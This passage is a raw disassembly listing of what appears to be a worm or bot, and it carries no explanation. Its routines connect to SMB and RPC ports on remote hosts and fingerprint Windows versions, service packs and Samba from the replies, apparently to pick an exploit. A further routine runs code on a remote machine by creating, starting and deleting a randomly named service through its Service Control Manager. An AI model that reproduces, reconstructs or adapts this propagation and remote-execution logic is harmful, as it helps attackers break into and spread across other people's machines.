movzx eax, word_443986
push eax
lea esi, [ebp+arg_8]
sub esp, 0C4h
push 31h
pop ecx
mov edi, esp
rep movsd
call sub_401B6E
add esp, 0C8h
test eax, eax
jz short loc_40447E
mov edx, [ebp+arg_B4]
mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
mov eax, edx
mov esi, offset aSSSExD ; "%s %s -> %s (Ex: %d)"
shl eax, 6
lea ecx, dword_43A380[eax]
inc dword ptr [ecx]
cmp [ebp+arg_C4], ebx
mov ecx, [ecx]
jz short loc_404452
cmp [ebp+arg_BC], ebx
jnz short loc_40445A
push ecx
lea ecx, [ebp+arg_8]
lea eax, dword_43A357[eax]
push ecx
push eax
push edi
push esi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD84
mov edx, [ebp+arg_B4]
add esp, 1Ch
loc_404452: ; CODE XREF: sub_404105+321j
cmp [ebp+arg_BC], ebx
jz short loc_40447E
loc_40445A: ; CODE XREF: sub_404105+329j
shl edx, 6
lea eax, [ebp+arg_8]
push dword_43A380[edx]
push eax
lea eax, dword_43A357[edx]
push eax
push edi
push esi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD0E
add esp, 1Ch
loc_40447E: ; CODE XREF: sub_404105+2FAj
; sub_404105+353j
push ebx
lea eax, [ebp+var_3020]
push 1000h
push eax
push [ebp+var_8]
call dword_456F38 ; recv
push [ebp+var_8]
cmp eax, 0FFFFFFFFh
jnz short loc_4044A9
loc_40449C: ; CODE XREF: sub_404105+28Ej
call dword_456FD0 ; closesocket
loc_4044A2: ; CODE XREF: sub_404105+40j
; sub_404105+4Aj ...
xor eax, eax
loc_4044A4: ; CODE XREF: sub_404105+3B7j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4044A9: ; CODE XREF: sub_404105+395j
call dword_456FD0 ; closesocket
lea eax, [ebp+arg_8]
push eax
call sub_401E8E
xor eax, eax
pop ecx
inc eax
jmp short loc_4044A4
sub_404105 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4044BE proc near ; CODE XREF: sub_4044F6+B24p
; sub_4044F6+B48p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_4044EC
loc_4044CF: ; CODE XREF: sub_4044BE+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_42A450
add esp, 0Ch
test eax, eax
jz short loc_4044F2
inc esi
cmp esi, edi
jl short loc_4044CF
loc_4044EC: ; CODE XREF: sub_4044BE+Fj
xor al, al
loc_4044EE: ; CODE XREF: sub_4044BE+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4044F2: ; CODE XREF: sub_4044BE+27j
mov al, 1
jmp short loc_4044EE
sub_4044BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4044F6 proc near ; CODE XREF: sub_403B6C+16p
; sub_403B6C+2Bp ...
var_263C = byte ptr -263Ch
var_243C = byte ptr -243Ch
var_243B = byte ptr -243Bh
var_243A = byte ptr -243Ah
var_143C = byte ptr -143Ch
var_1433 = dword ptr -1433h
var_1420 = dword ptr -1420h
var_141C = dword ptr -141Ch
var_1411 = word ptr -1411h
var_140D = byte ptr -140Dh
var_13FA = byte ptr -13FAh
var_13E4 = dword ptr -13E4h
var_43C = byte ptr -43Ch
var_23C = byte ptr -23Ch
var_1CC = byte ptr -1CCh
var_140 = byte ptr -140h
var_3C = byte ptr -3Ch
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_A = dword ptr -0Ah
var_6 = dword ptr -6
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 263Ch
call sub_429A90
mov eax, [ebp+arg_4]
push ebx
push esi
dec eax
push edi
jz loc_405091
dec eax
jz loc_40506B
dec eax
jz loc_404DA7
dec eax
jz loc_404F58
dec eax
jz loc_404DAE
dec eax
jz loc_404745
dec eax
jnz loc_404DA7
push 6
push 1
push 2
call dword_456FB0 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz loc_404DA7
xor ebx, ebx
push 10h
lea eax, [ebp+var_20]
push ebx
push eax
call sub_429690
add esp, 0Ch
mov [ebp+var_20], 2
push 8Bh
call dword_456F18 ; ntohs
push [ebp+arg_0]
mov [ebp+var_1E], ax
call sub_41E326
pop ecx
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
push 10h
push eax
push esi
call dword_456E9C ; connect
cmp eax, edi
jz loc_404DA7
push ebx
push 48h
push offset unk_43C298
push esi
call dword_456F6C ; send
cmp eax, edi
jnz short loc_4045B6
loc_4045B0: ; CODE XREF: sub_4044F6+924j
push esi
jmp loc_404E94
; ---------------------------------------------------------------------------
loc_4045B6: ; CODE XREF: sub_4044F6+B8j
mov esi, 2000h
push ebx
lea eax, [ebp+var_243C]
push esi
push eax
push [ebp+arg_4]
call dword_456F38 ; recv
cmp eax, edi
jz loc_404E91
push ebx
push 33h
push offset dword_43C2E4
push [ebp+arg_4]
call dword_456F6C ; send
cmp eax, edi
jz loc_404E91
push ebx
lea eax, [ebp+var_243C]
push esi
push eax
push [ebp+arg_4]
call dword_456F38 ; recv
cmp eax, edi
jz loc_404E91
push ebx
push 4Ch
push offset dword_43C318
push [ebp+arg_4]
call dword_456F6C ; send
cmp eax, edi
jz loc_404E91
push ebx
lea eax, [ebp+var_243C]
push esi
push eax
push [ebp+arg_4]
call dword_456F38 ; recv
cmp eax, edi
jz loc_404E91
lea esi, [eax-2]
mov [ebp+arg_0], ebx
cmp esi, ebx
jle loc_404EF0
lea edi, [ebp+esi+var_243B]
loc_404650: ; CODE XREF: sub_4044F6+19Cj
cmp [ebp+arg_0], 4
jge loc_404EF0
cmp [edi-1], bl
jnz short loc_40468E
mov eax, [ebp+arg_0]
sub eax, ebx
jz short loc_40467C
dec eax
jz short loc_404674
dec eax
jnz short loc_40468B
lea eax, [ebp+var_43C]
jmp short loc_404682
; ---------------------------------------------------------------------------
loc_404674: ; CODE XREF: sub_4044F6+171j
lea eax, [ebp+var_23C]
jmp short loc_404682
; ---------------------------------------------------------------------------
loc_40467C: ; CODE XREF: sub_4044F6+16Ej
lea eax, [ebp+var_263C]
loc_404682: ; CODE XREF: sub_4044F6+17Cj
; sub_4044F6+184j
push edi
push eax
call sub_42A500
pop ecx
pop ecx
loc_40468B: ; CODE XREF: sub_4044F6+174j
inc [ebp+arg_0]
loc_40468E: ; CODE XREF: sub_4044F6+167j
dec esi
dec edi
cmp esi, ebx
jg short loc_404650
jmp loc_404EF0
; ---------------------------------------------------------------------------
loc_404699: ; CODE XREF: sub_4044F6+A18j
lea eax, [ebp+var_43C]
push eax
push offset aServicePack1 ; "*Service Pack 1*"
call sub_427A85
pop ecx
test eax, eax
pop ecx
jz short loc_4046B4
push 7
jmp short loc_404720
; ---------------------------------------------------------------------------
loc_4046B4: ; CODE XREF: sub_4044F6+1B8j
lea eax, [ebp+var_43C]
push eax
push offset aServicePack2 ; "*Service Pack 2*"
call sub_427A85
neg eax
sbb eax, eax
pop ecx
and eax, 2
pop ecx
add eax, 6
jmp loc_404DA9
; ---------------------------------------------------------------------------
loc_4046D6: ; CODE XREF: sub_4044F6+A1Ej
lea eax, [ebp+var_23C]
push eax
push offset aNtLanManager_ ; "NT LAN Manager *.*"
call sub_427A85
pop ecx
test eax, eax
pop ecx
jz loc_404F19
xor eax, eax
inc eax
jmp loc_404DA9
; ---------------------------------------------------------------------------
loc_4046F9: ; CODE XREF: sub_4044F6+A3Fj
; sub_4044F6+A55j
lea eax, [ebp+var_23C]
push eax
push esi
call sub_427A85
pop ecx
test eax, eax
pop ecx
jz short loc_404726
lea eax, [ebp+var_43C]
push eax
push offset aWindows5_1 ; "Windows 5.1"
call edi ; dword_437174
test eax, eax
jnz short loc_404726
loc_40471E: ; CODE XREF: sub_4044F6+B96j
push 3
loc_404720: ; CODE XREF: sub_4044F6+1BCj
; sub_4044F6+899j ...
pop eax
jmp loc_404DA9
; ---------------------------------------------------------------------------
loc_404726: ; CODE XREF: sub_4044F6+214j
; sub_4044F6+226j
lea eax, [ebp+var_23C]
push eax
push offset aSamba ; "Samba *"
call sub_427A85
neg eax
pop ecx
sbb eax, eax
pop ecx
and eax, 9
jmp loc_404DA9
; ---------------------------------------------------------------------------
loc_404745: ; CODE XREF: sub_4044F6+37j
lea eax, [ebp+var_1CC]
xor ebx, ebx
push eax
push 2
mov [ebp+var_1], bl
mov byte ptr [ebp+arg_4+3], bl
call dword_4372B4
test eax, eax
jnz loc_404DA7
push 6
push 1
push 2
call dword_4372B8
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_404DA7
push [ebp+arg_0]
mov [ebp+var_20], 2
call dword_4372BC
push 1BDh
mov [ebp+var_1C], eax
call dword_4372C0
mov [ebp+var_1E], ax
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4372C8
cmp eax, 0FFFFFFFFh
jz loc_404DA0
mov esi, dword_4372CC
push ebx
push 89h
push offset dword_43C3B8
push edi
call esi ; dword_4372CC
cmp eax, 0FFFFFFFFh
jz loc_404DA0
push ebx
lea eax, [ebp+var_143C]
push 1000h
push eax
push edi
call dword_4372D0
cmp eax, 1
jl loc_404DA0
push ebx
push 0BDh
push offset dword_43C448
push edi
call esi ; dword_4372CC
cmp eax, 0FFFFFFFFh
jz loc_404DA0
push ebx
lea eax, [ebp+var_143C]
push 1000h
push eax
push edi
call dword_4372D0
cmp eax, 0Ah
jle loc_404DA0
movzx eax, [ebp+var_1411]
push 1Bh
lea eax, [ebp+eax+var_140D]
push eax
lea eax, [ebp+var_3C]
push eax
call sub_429C40
push 0Bh
lea eax, [ebp+var_3C]
push offset aWindows5_1 ; "Windows 5.1"
push eax
call sub_42A450
add esp, 18h
test eax, eax
jnz short loc_404855
mov byte ptr [ebp+arg_4+3], 1
loc_404855: ; CODE XREF: sub_4044F6+359j
mov eax, [ebp+var_141C]
push 2
mov [ebp+var_6], eax
lea eax, [ebp+var_6]
push eax
push offset dword_43C528
call sub_429350
add esp, 0Ch
push ebx
push 111h
push offset dword_43C508
push edi
call esi ; dword_4372CC
cmp eax, 0FFFFFFFFh
jz loc_404DA0
push ebx
lea eax, [ebp+var_143C]
push 1000h
push eax
push edi
call dword_4372D0
cmp eax, 0Ah
jle loc_404DA0
push ebx
push 6Fh
push offset dword_43C620
push edi
call esi ; dword_4372CC
cmp eax, 0FFFFFFFFh
jz loc_404DA0
push ebx
lea eax, [ebp+var_143C]
push 1000h
push eax
push edi
call dword_4372D0
cmp eax, 0Ah
jle loc_404DA0
mov eax, [ebp+var_141C]
push 2
mov [ebp+var_6], eax
lea eax, [ebp+var_6]
push eax
push offset dword_43C6B0
call sub_429350
add esp, 0Ch
push ebx
push 3Bh
push offset dword_43C690
push edi
call esi ; dword_4372CC
cmp eax, 0FFFFFFFFh
jz loc_404DA0
push ebx
lea eax, [ebp+var_143C]
push 1000h
push eax
push edi
call dword_4372D0
cmp eax, 0Ah
jle loc_404DA0
cmp byte ptr [ebp+var_1433], bl
jnz loc_404DA0
mov eax, [ebp+var_1420]
push 2
mov [ebp+var_A], eax
lea eax, [ebp+var_A]
push eax
push offset dword_43C754
call sub_429350
lea eax, [ebp+var_6]
push 2
push eax
push offset dword_43C758
call sub_429350
add esp, 18h
push ebx
push 5Fh
push offset dword_43C738
push edi
call esi ; dword_4372CC
cmp eax, 0FFFFFFFFh
jz loc_404DA0
push ebx
lea eax, [ebp+var_143C]
push 1000h
push eax
push edi
call dword_4372D0
cmp eax, 0Dh
jl loc_404DA0
cmp [ebp+var_1433], 0C0000022h
jnz short loc_4049A1
cmp byte ptr [ebp+arg_4+3], bl
jz short loc_4049A1
mov [ebp+var_1], 1
loc_4049A1: ; CODE XREF: sub_4044F6+4A0j
; sub_4044F6+4A5j
lea eax, [ebp+var_A]
push 2
push eax
push offset dword_43C6EC
call sub_429350
lea eax, [ebp+var_6]
push 2
push eax
push offset dword_43C6F0
call sub_429350
add esp, 18h
push ebx
push 60h
push offset dword_43C6D0
push edi
call esi ; dword_4372CC
cmp eax, 0FFFFFFFFh
jz loc_404DA0
push ebx
lea eax, [ebp+var_143C]
push 1000h
push eax
push edi
call dword_4372D0
cmp eax, 0Ah
jle loc_404DA0
cmp byte ptr [ebp+var_1433], bl
jnz loc_404DA0
mov eax, [ebp-1412h]
push 2
mov [ebp+var_10], eax
lea eax, [ebp+var_A]
push eax
push offset dword_43C7B4
call sub_429350
lea eax, [ebp+var_6]
push 2
push eax
push offset dword_43C7B8
call sub_429350
lea eax, [ebp+var_10]
push 2
push eax
push offset byte_43C7C1
call sub_429350
add esp, 24h
push ebx
push 243h
push offset dword_43C798
push edi
call esi ; dword_4372CC
cmp eax, 0FFFFFFFFh
jz loc_404DA0
push ebx
lea eax, [ebp+var_143C]
push 1000h
push eax
push edi
call dword_4372D0
cmp eax, 0Ah
jle loc_404DA0
cmp byte ptr [ebp+var_1433], bl
jnz loc_404DA0
lea eax, [ebp+var_A]
push 2
push eax
push offset dword_43C9FC
call sub_429350
lea eax, [ebp+var_6]
push 2
push eax
push offset dword_43CA00
call sub_429350
lea eax, [ebp+var_10]
push 2
push eax
push offset byte_43CA09
call sub_429350
add esp, 24h
push ebx
push 3Fh
push offset dword_43C9E0
push edi
call esi ; dword_4372CC
cmp eax, 0FFFFFFFFh
jz loc_404DA0
push ebx
lea eax, [ebp+var_143C]
push 1000h
push eax
push edi
call dword_4372D0
cmp eax, 0Ah
jle loc_404DA0
cmp byte ptr [ebp+var_1433], bl
jnz loc_404DA0
lea eax, [ebp+var_A]
push 2
push eax
push offset dword_43CA3C
call sub_429350
lea eax, [ebp+var_6]
push 2
push eax
push offset dword_43CA40
call sub_429350
lea eax, [ebp+var_10]
push 2
push eax
push offset byte_43CA49
call sub_429350
add esp, 24h
push ebx
push 0A7h
push offset dword_43CA20
push edi
call esi ; dword_4372CC
cmp eax, 0FFFFFFFFh
jz loc_404DA0
push ebx
lea eax, [ebp+var_143C]
push 1000h
push eax
push edi
call dword_4372D0
cmp eax, 0Ah
jle loc_404DA0
cmp byte ptr [ebp+var_1433], bl
jnz loc_404DA0
push ebx
push 3Fh
push offset dword_43C9E0
push edi
call esi ; dword_4372CC
cmp eax, 0FFFFFFFFh
jz loc_404DA0
push ebx
lea eax, [ebp+var_143C]
push 1000h
push eax
push edi
call dword_4372D0
cmp eax, 42h
jl loc_404DA0
cmp [ebp+var_13FA], 3
jnz short loc_404BA3
cmp byte ptr [ebp+arg_4+3], bl
jz short loc_404BA3
mov [ebp+var_1], 1
loc_404BA3: ; CODE XREF: sub_4044F6+6A2j
; sub_4044F6+6A7j
lea eax, [ebp+var_A]
push 2
push eax
push offset dword_43C6EC
call sub_429350
lea eax, [ebp+var_6]
push 2
push eax
push offset dword_43C6F0
call sub_429350
add esp, 18h
push ebx
push 60h
push offset dword_43C6D0
push edi
call esi ; dword_4372CC
cmp eax, 0FFFFFFFFh
jz loc_404DA0
push ebx
lea eax, [ebp+var_143C]
push 1000h
push eax
push edi
call dword_4372D0
cmp eax, 0Ah
jle loc_404DA0
cmp byte ptr [ebp+var_1433], bl
jnz loc_404DA0
mov eax, [ebp-1412h]
push 2
mov [ebp+var_10], eax
lea eax, [ebp+var_A]
push eax
push offset dword_43C7B4
call sub_429350
lea eax, [ebp+var_6]
push 2
push eax
push offset dword_43C7B8
call sub_429350
lea eax, [ebp+var_10]
push 2
push eax
push offset byte_43C7C1
call sub_429350
add esp, 24h
push ebx
push 243h
push offset dword_43C798
push edi
call esi ; dword_4372CC
cmp eax, 0FFFFFFFFh
jz loc_404DA0
push ebx
lea eax, [ebp+var_143C]
push 1000h
push eax
push edi
call dword_4372D0
cmp eax, 0Ah
jle loc_404DA0
cmp byte ptr [ebp+var_1433], bl
jnz loc_404DA0
lea eax, [ebp+var_A]
push 2
push eax
push offset dword_43C9FC
call sub_429350
lea eax, [ebp+var_6]
push 2
push eax
push offset dword_43CA00
call sub_429350
lea eax, [ebp+var_10]
push 2
push eax
push offset byte_43CA09
call sub_429350
add esp, 24h
push ebx
push 3Fh
push offset dword_43C9E0
push edi
call esi ; dword_4372CC
cmp eax, 0FFFFFFFFh
jz loc_404DA0
push ebx
lea eax, [ebp+var_143C]
push 1000h
push eax
push edi
call dword_4372D0
cmp eax, 0Ah
jle loc_404DA0
cmp byte ptr [ebp+var_1433], bl
jnz loc_404DA0
lea eax, [ebp+var_A]
push 2
push eax
push offset dword_43CAE4
call sub_429350
lea eax, [ebp+var_6]
push 2
push eax
push offset dword_43CAE8
call sub_429350
lea eax, [ebp+var_10]
push 2
push eax
push offset byte_43CAF1
call sub_429350
add esp, 24h
push ebx
push 73h
push offset dword_43CAC8
push edi
call esi ; dword_4372CC
cmp eax, 0FFFFFFFFh
jz short loc_404DA0
push ebx
lea eax, [ebp+var_143C]
push 1000h
push eax
push edi
call dword_4372D0
cmp eax, 0Ah
jle short loc_404DA0
cmp byte ptr [ebp+var_1433], bl
jnz short loc_404DA0
push ebx
push 3Fh
push offset dword_43C9E0
push edi
call esi ; dword_4372CC
cmp eax, 0FFFFFFFFh
jz short loc_404DA0
push ebx
lea eax, [ebp+var_143C]
push 1000h
push eax
push edi
call dword_4372D0
cmp eax, 58h
jl short loc_404DA0
cmp byte ptr [ebp+arg_4+3], bl
jz short loc_404DA7
cmp [ebp+var_13E4], 20000h
jnz short loc_404D94
push 5
jmp loc_404720
; ---------------------------------------------------------------------------
loc_404D94: ; CODE XREF: sub_4044F6+895j
cmp [ebp+var_1], bl
jz short loc_404DA7
push 4
jmp loc_404720
; ---------------------------------------------------------------------------
loc_404DA0: ; CODE XREF: sub_4044F6+2B6j
; sub_4044F6+2D3j ...
push edi
call dword_4372D4
loc_404DA7: ; CODE XREF: sub_4044F6+22j
; sub_4044F6+3Ej ...
xor eax, eax
loc_404DA9: ; CODE XREF: sub_4044F6+1DBj
; sub_4044F6+1FEj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_404DAE: ; CODE XREF: sub_4044F6+30j
push 6
push 1
push 2
call dword_456FB0 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_404DA7
xor ebx, ebx
push 10h
lea eax, [ebp+var_20]
push ebx
push eax
call sub_429690
add esp, 0Ch
mov [ebp+var_20], 2
push 8Bh
call dword_456F18 ; ntohs
push [ebp+arg_0]
mov [ebp+var_1E], ax
call sub_41E326
pop ecx
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
push 10h
push eax
push esi
call dword_456E9C ; connect
cmp eax, edi
jz short loc_404DA7
push ebx
push 48h
push offset unk_43C298
push esi
call dword_456F6C ; send
cmp eax, edi
jz loc_4045B0
mov esi, 2000h
push ebx
lea eax, [ebp+var_243C]
push esi
push eax
push [ebp+arg_4]
call dword_456F38 ; recv
cmp eax, edi
jz short loc_404E91
push ebx
push 33h
push offset dword_43C2E4
push [ebp+arg_4]
call dword_456F6C ; send
cmp eax, edi
jz short loc_404E91
push ebx
lea eax, [ebp+var_243C]
push esi
push eax
push [ebp+arg_4]
call dword_456F38 ; recv
cmp eax, edi
jz short loc_404E91
push ebx
push 4Ch
push offset dword_43C318
push [ebp+arg_4]
call dword_456F6C ; send
cmp eax, edi
jz short loc_404E91
push ebx
lea eax, [ebp+var_243C]
push esi
push eax
push [ebp+arg_4]
call dword_456F38 ; recv
cmp eax, edi
jnz short loc_404E9F
loc_404E91: ; CODE XREF: sub_4044F6+D9j
; sub_4044F6+F2j ...
push [ebp+arg_4]
loc_404E94: ; CODE XREF: sub_4044F6+BBj
call dword_456FD0 ; closesocket
jmp loc_404DA7
; ---------------------------------------------------------------------------
loc_404E9F: ; CODE XREF: sub_4044F6+999j
lea esi, [eax-2]
mov [ebp+arg_0], ebx
cmp esi, ebx
jle short loc_404EF0
lea edi, [ebp+esi+var_243B]
loc_404EB0: ; CODE XREF: sub_4044F6+9F8j
cmp [ebp+arg_0], 4
jge short loc_404EF0
cmp [edi-1], bl
jnz short loc_404EEA
mov eax, [ebp+arg_0]
sub eax, ebx
jz short loc_404ED8
dec eax
jz short loc_404ED0
dec eax
jnz short loc_404EE7
lea eax, [ebp+var_43C]
jmp short loc_404EDE
; ---------------------------------------------------------------------------
loc_404ED0: ; CODE XREF: sub_4044F6+9CDj
lea eax, [ebp+var_23C]
jmp short loc_404EDE
; ---------------------------------------------------------------------------
loc_404ED8: ; CODE XREF: sub_4044F6+9CAj
lea eax, [ebp+var_263C]
loc_404EDE: ; CODE XREF: sub_4044F6+9D8j
; sub_4044F6+9E0j
push edi
push eax
call sub_42A500
pop ecx
pop ecx
loc_404EE7: ; CODE XREF: sub_4044F6+9D0j
inc [ebp+arg_0]
loc_404EEA: ; CODE XREF: sub_4044F6+9C3j
dec esi
dec edi
cmp esi, ebx
jg short loc_404EB0
loc_404EF0: ; CODE XREF: sub_4044F6+14Dj
; sub_4044F6+15Ej ...
push [ebp+arg_4]
call dword_456FD0 ; closesocket
lea eax, [ebp+var_23C]
push eax
push offset aWindowsServer2 ; "Windows Server 2003 *.*"
call sub_427A85
pop ecx
test eax, eax
pop ecx
jnz loc_404699
jmp loc_4046D6
; ---------------------------------------------------------------------------
loc_404F19: ; CODE XREF: sub_4044F6+1F5j
lea eax, [ebp+var_23C]
mov esi, offset aWindows2000Lan ; "Windows 2000 LAN Manager*"
push eax
push esi
call sub_427A85
mov edi, dword_437174
pop ecx
test eax, eax
pop ecx
jz loc_4046F9
lea eax, [ebp+var_43C]
push eax
push offset dword_43CB54
call edi ; dword_437174
test eax, eax
jnz loc_4046F9
push 2
jmp loc_404720
; ---------------------------------------------------------------------------
loc_404F58: ; CODE XREF: sub_4044F6+29j
push [ebp+arg_0]
mov esi, 104h
lea eax, [ebp+var_140]
xor edi, edi
push offset dword_43CB4C
push esi
push eax
xor ebx, ebx
mov [ebp+var_10], edi
call sub_429AEE
push esi
lea eax, [ebp+var_140]
push offset dword_43CB3C
push eax
call sub_429910
add esp, 1Ch
lea eax, [ebp+var_140]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
call dword_43705C ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+arg_4], eax
jz loc_405064
mov edi, 186A0h
push edi
call sub_4296E8
mov esi, eax
push edi
push ebx
push esi
call sub_429690
add esp, 10h
lea eax, [ebp+arg_0]
mov edi, dword_437058
push ebx
push eax
push 2710h
push esi
push 48h
push offset dword_43C208
push [ebp+arg_4]
call edi ; dword_437058
cmp byte ptr [esi+2], 0Ch
jnz short loc_405051
lea eax, [ebp+arg_0]
push ebx
push eax
push 2710h
push esi
push 18h
push offset dword_43C254
push [ebp+arg_4]
call edi ; dword_437058
cmp byte ptr [esi+2], 2
jnz short loc_405051
push 10h
push offset dword_43C270
push [ebp+arg_0]
push esi
call sub_4044BE
add esp, 10h
test al, al
jz short loc_405033
cmp [ebp+arg_0], 12Ch
sbb edi, edi
inc edi
inc edi
jmp short loc_405054
; ---------------------------------------------------------------------------
loc_405033: ; CODE XREF: sub_4044F6+B2Ej
push 10h
push offset dword_43C284
push [ebp+arg_0]
push esi
call sub_4044BE
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov edi, eax
jmp short loc_405054
; ---------------------------------------------------------------------------
loc_405051: ; CODE XREF: sub_4044F6+AFAj
; sub_4044F6+B17j
mov edi, [ebp+var_10]
loc_405054: ; CODE XREF: sub_4044F6+B3Bj
; sub_4044F6+B59j
push esi
call sub_429822
pop ecx
push [ebp+arg_4]
call dword_437044 ; CloseHandle
loc_405064: ; CODE XREF: sub_4044F6+ABBj
mov eax, edi
jmp loc_404DA9
; ---------------------------------------------------------------------------
loc_40506B: ; CODE XREF: sub_4044F6+1Bj
push 3
push 1388h
push [ebp+arg_0]
call dword_456F5C ; inet_addr
push eax
call sub_4022B8
add esp, 0Ch
test eax, eax
jz loc_404DA7
jmp loc_40471E
; ---------------------------------------------------------------------------
loc_405091: ; CODE XREF: sub_4044F6+14j
push 6
push 1
push 2
call dword_456FB0 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz loc_404DA7
xor ebx, ebx
push 10h
lea eax, [ebp+var_20]
push ebx
push eax
call sub_429690
add esp, 0Ch
mov [ebp+var_20], 2
push 87h
call dword_456F18 ; ntohs
push [ebp+arg_0]
mov [ebp+var_1E], ax
call sub_41E326
pop ecx
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
push 10h
push eax
push esi
call dword_456E9C ; connect
cmp eax, edi
jz loc_4051B0
push ebx
push 48h
push offset dword_43C208
push esi
call dword_456F6C ; send
cmp eax, edi
jz loc_4051B0
mov esi, 2000h
push ebx
lea eax, [ebp+var_243C]
push esi
push eax
push [ebp+arg_4]
call dword_456F38 ; recv
cmp eax, edi
jz loc_4051B0
cmp [ebp+var_243A], 0Ch
jnz short loc_4051B0
push ebx
push 18h
push offset dword_43C254
push [ebp+arg_4]
call dword_456F6C ; send
cmp eax, edi
jz short loc_4051B0
push ebx
lea eax, [ebp+var_243C]
push esi
push eax
push [ebp+arg_4]
call dword_456F38 ; recv
mov esi, eax
cmp esi, edi
jz short loc_4051B0
cmp [ebp+var_243A], 2
jnz short loc_4051B0
push 10h
push offset dword_43C270
lea eax, [ebp+var_243C]
push esi
push eax
call sub_4044BE
add esp, 10h
test al, al
jz short loc_405190
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_4051B0
; ---------------------------------------------------------------------------
loc_405190: ; CODE XREF: sub_4044F6+C8Cj
push 10h
push offset dword_43C284
lea eax, [ebp+var_243C]
push esi
push eax
call sub_4044BE
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_4051B0: ; CODE XREF: sub_4044F6+BF8j
; sub_4044F6+C0Fj ...
push [ebp+arg_4]
call dword_456FD0 ; closesocket
mov eax, ebx
jmp loc_404DA9
sub_4044F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4051C0 proc near ; CODE XREF: sub_4053EE+412p
var_208 = byte ptr -208h
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 208h
push ebx
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push [ebp+arg_4]
call dword_456F08 ; OpenSCManagerA
xor esi, esi
mov [ebp+var_4], eax
cmp eax, esi
jz loc_405326
push [ebp+arg_10]
lea eax, [ebp+var_208]
push [ebp+arg_0]
push [ebp+arg_4]
push offset aSSS_4 ; "%s\\%s\\%s"
push eax
call sub_429A33
add esp, 14h
call sub_429ACC
push 9
pop edi
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
idiv edi
lea eax, [ebp+var_104]
push edx
push offset aDDDDD ; "%d%d%d%d%d"
push eax
call sub_429A33
add esp, 1Ch
lea eax, [ebp+var_208]
mov edi, 0F01FFh
push esi
push esi
push esi
push esi
push esi
push eax
push 1
push 3
push 20h
lea eax, [ebp+var_104]
push edi
push eax
lea eax, [ebp+var_104]
push eax
push [ebp+var_4]
call dword_456F98 ; CreateServiceA
mov ebx, eax
cmp ebx, esi
jnz short loc_405292
push [ebp+var_4]
jmp loc_405320
; ---------------------------------------------------------------------------
loc_405292: ; CODE XREF: sub_4051C0+C8j
push esi
push esi
push ebx
call dword_456DB0 ; StartServiceA
test eax, eax
jz short loc_4052C6
push 1F4h
call dword_43718C ; Sleep
push ebx
call dword_456E30 ; DeleteService
push [ebp+var_4]
call dword_456DC4 ; CloseServiceHandle
push ebx
loc_4052BB: ; CODE XREF: sub_4051C0+14Dj
call dword_456DC4 ; CloseServiceHandle
xor eax, eax
inc eax
jmp short loc_405328
; ---------------------------------------------------------------------------
loc_4052C6: ; CODE XREF: sub_4051C0+DDj
call dword_43716C ; RtlGetLastWin32Error
cmp eax, 41Dh
jnz short loc_40530F
push edi
push offset dword_4439B0
push [ebp+var_4]
call dword_456DA8 ; OpenServiceA
mov edi, eax
cmp edi, esi
jz short loc_40530F
push esi
push esi
push edi
call dword_456DB0 ; StartServiceA
test eax, eax
jz short loc_40530F
push ebx
call dword_456E30 ; DeleteService
push [ebp+var_4]
call dword_456DC4 ; CloseServiceHandle
push ebx
call dword_456DC4 ; CloseServiceHandle
push edi
jmp short loc_4052BB
; ---------------------------------------------------------------------------
loc_40530F: ; CODE XREF: sub_4051C0+111j
; sub_4051C0+126j ...
push ebx
call dword_456E30 ; DeleteService
push [ebp+var_4]
call dword_456DC4 ; CloseServiceHandle
push ebx
loc_405320: ; CODE XREF: sub_4051C0+CDj
call dword_456DC4 ; CloseServiceHandle
loc_405326: ; CODE XREF: sub_4051C0+26j
xor eax, eax
loc_405328: ; CODE XREF: sub_4051C0+104j
pop edi
pop esi
pop ebx
leave
retn
sub_4051C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40532D proc near ; CODE XREF: sub_4053EE+4ECp
var_3AC = byte ptr -3ACh
var_1A4 = byte ptr -1A4h
